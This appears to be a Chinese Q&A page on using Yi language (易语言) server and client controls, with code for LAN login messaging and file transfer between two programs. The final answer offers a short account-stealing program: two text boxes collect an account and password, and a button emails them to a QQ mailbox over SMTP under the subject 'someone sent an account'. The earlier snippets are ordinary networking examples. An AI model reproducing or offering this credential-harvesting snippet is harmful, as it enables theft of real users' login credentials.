易语言服务器怎么用

利用服务器控件和客户控件可以做出一个局域网的登录、控制系统源码如下： 版本
2
支持库
sock程序集
窗口程序集1
程序集变量
用户,
文本型
程序集变量
密码,
文本型子程序
__启动窗口_创建完毕
局部变量
IP,
文本型,
,
"0"IP
＝
取本机IP
()
编辑框1内容
＝
IP
[1]子程序
_服务器_数据到达
局部变量
数据,
文本型数据
＝
删首尾空
(到文本
(服务器取回数据
()))
用户
＝
取文本左边
(数据,
寻找文本
(数据,
“#”,
,
真)
－
1)
密码
＝
取文本右边
(数据,
取文本长度
(数据)
－
寻找文本
(数据,
“#”,
,
真))
信息框
(“有用户登录:”
＋
#换行符
＋
用户
＋
#换行符
＋
密码,
0,
)
子程序
_按钮1_被单击客户连接
(编辑框1内容,
19730)
客户发送数据
(到字节集
(编辑框2内容
＋
“#”
＋
编辑框3内容))
子程序
_服务器_客户进入输出调试文本
(服务器取回客户
())

第一个程序
编辑框1用来显示文件路径
编辑框2用来显示对方发来的文本
按钮1用来浏览文件
按钮2用来发送文件
此外还有服务器 通用对话框
版本 2
程序集 窗口程序集1
子程序 _按钮1_被单击
通用对话框1打开 ()
编辑框1内容 ＝ 通用对话框1文件名
子程序 _按钮2_被单击
服务器1发送数据 (客户IP, 读入文件 (通用对话框1文件名), 1000)
信息框 (“发送成功”, 0, )
子程序 _服务器1_数据到达
局部变量 file, 字节集
file ＝ 服务器1取回数据 ()
编辑框2内容 ＝ 到文本 (file)
信息框 (“数据到达”, 0, )
第二个程序
编辑框1用来显示保存文件的路径
编辑框2用来显示发送的文本
按钮1用来发送文本
此外还有通用对话框 客户
版本 2
程序集 窗口程序集1
子程序 _按钮1_被单击
客户1连接 (用户IP, 19730)
客户1发送数据 (编辑框1内容)
信息框 (“已发送”, 0, )
子程序 _客户1_数据到达
局部变量 file, 字节集
file ＝ 客户1取回数据 ()
通用对话框1打开 ()
编辑框1内容 ＝ 通用对话框1文件名
信息框 (“已保存”, 0, )
我试过了，可以的……
在使用时可以将“客户IP”与“用户IP”替换成想要的IP地址就可以了 IP为文本型

我是用超级列表框写的，超级列表框是一般是用插入表项和置标题来写的，还有客户离开的时候会返回数据到服务端的，你在服务端可以用取回客户来知道IP，再通过IP查找出在你服务端显示的是哪位，然后就可以删除那位了

不明白编辑框有什么用。

局部变量 n, 整数型
计次循环首 (超级列表框取表项数 (), n)
    服务器发送数据 (超级列表框取标题 (n, 0), “欲发送数据”, )
计次循环尾 ()

/假设的是超级列表框的 0 列是客户IP 请根据源码进行修改

这个最简单了，两个编辑框一个按钮，双击按钮写代码，
连接发信服务器（“smtpqqcom”,25,“qq邮箱”，“米吗”）
发送邮件（“有送号的了”，“帐号：”+编辑框1内容+#换行符+“米吗：”+编辑框2内容，“qq邮箱”，，，“qq邮箱”）
重点就这里，编辑框内容被改变这不要写的

---